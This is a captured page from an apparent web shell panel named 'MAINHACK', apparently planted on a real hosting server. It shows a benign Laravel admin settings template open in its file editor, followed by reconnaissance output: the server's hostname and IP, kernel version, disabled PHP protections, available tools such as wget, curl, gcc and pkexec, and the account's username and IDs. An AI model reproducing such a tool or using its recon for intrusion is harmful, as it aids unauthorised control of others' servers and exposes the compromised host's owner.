[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: settings.blade.php
@extends('admin.layouts.app') @push('styles_top') @endpush @section('content') <section class="section"> <div class="section-header"> <h1>{{ $pageTitle }}</h1> <div class="section-header-breadcrumb"> <div class="breadcrumb-item active"><a href="{{ getAdminPanelUrl() }}">{{ trans('admin/main.dashboard') }}</a></div> <div class="breadcrumb-item">{{ $pageTitle }}</div> </div> </div> <div class="section-body"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-body"> @php $basicValue = !empty($setting) ? $setting->value : null; if (!empty($basicValue)) { $basicValue = json_decode($basicValue, true); } @endphp <div class="row"> <div class="col-12 col-md-6"> <form action="{{ getAdminPanelUrl('/gifts/settings') }}" method="post"> {{ csrf_field() }} <input type="hidden" name="page" value="general"> <input type="hidden" name="name" value="{{ \App\Models\Setting::$giftsGeneralSettingsName }}"> <input type="hidden" name="locale" value="{{ \App\Models\Setting::$defaultSettingsLocale }}"> <div class="form-group custom-switches-stacked"> <label class="custom-switch pl-0 d-flex align-items-center"> <input type="hidden" name="value[status]" value="0"> <input type="checkbox" name="value[status]" id="giftsStatusSwitch" value="1" {{ (!empty($basicValue) and !empty($basicValue['status']) and $basicValue['status']) ? 'checked="checked"' : '' }} class="custom-switch-input"/> <span class="custom-switch-indicator"></span> <label class="custom-switch-description mb-0 cursor-pointer" for="giftsStatusSwitch">{{ trans('admin/main.active') }}</label> </label> <div class="text-muted text-small">{{ trans('update.gifts_setting_active_hint') }}</div> </div> <div class="js-show-after-enable {{ (!empty($basicValue) and !empty($basicValue['status']) and $basicValue['status']) ? '' : 'd-none' }}"> @php $otherSwitches = ['allow_sending_gift_for_courses', 'allow_sending_gift_for_bundles', 'allow_sending_gift_for_products']; @endphp @foreach($otherSwitches as $otherSwitch) <div class="form-group custom-switches-stacked"> <label class="custom-switch pl-0 d-flex align-items-center"> <input type="hidden" name="value[{{ $otherSwitch }}]" value="0"> <input type="checkbox" name="value[{{ $otherSwitch }}]" id="{{ $otherSwitch }}Switch" value="1" {{ (!empty($basicValue) and !empty($basicValue[$otherSwitch]) and $basicValue[$otherSwitch]) ? 'checked="checked"' : '' }} class="custom-switch-input"/> <span class="custom-switch-indicator"></span> <label class="custom-switch-description mb-0 cursor-pointer" for="{{ $otherSwitch }}Switch">{{ trans("update.{$otherSwitch}") }}</label> </label> <div class="text-muted text-small">{{ trans("update.{$otherSwitch}_hint") }}</div> </div> @endforeach </div> <button type="submit" class="btn btn-primary mt-1">{{ trans('admin/main.submit') }}</button> </form> </div> </div> </div> </div> </div> </div> </div> </section> @endsection @push('scripts_bottom') <script src="/assets/default/js/admin/settings/gifts_settings.min.js"></script> @endpush
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285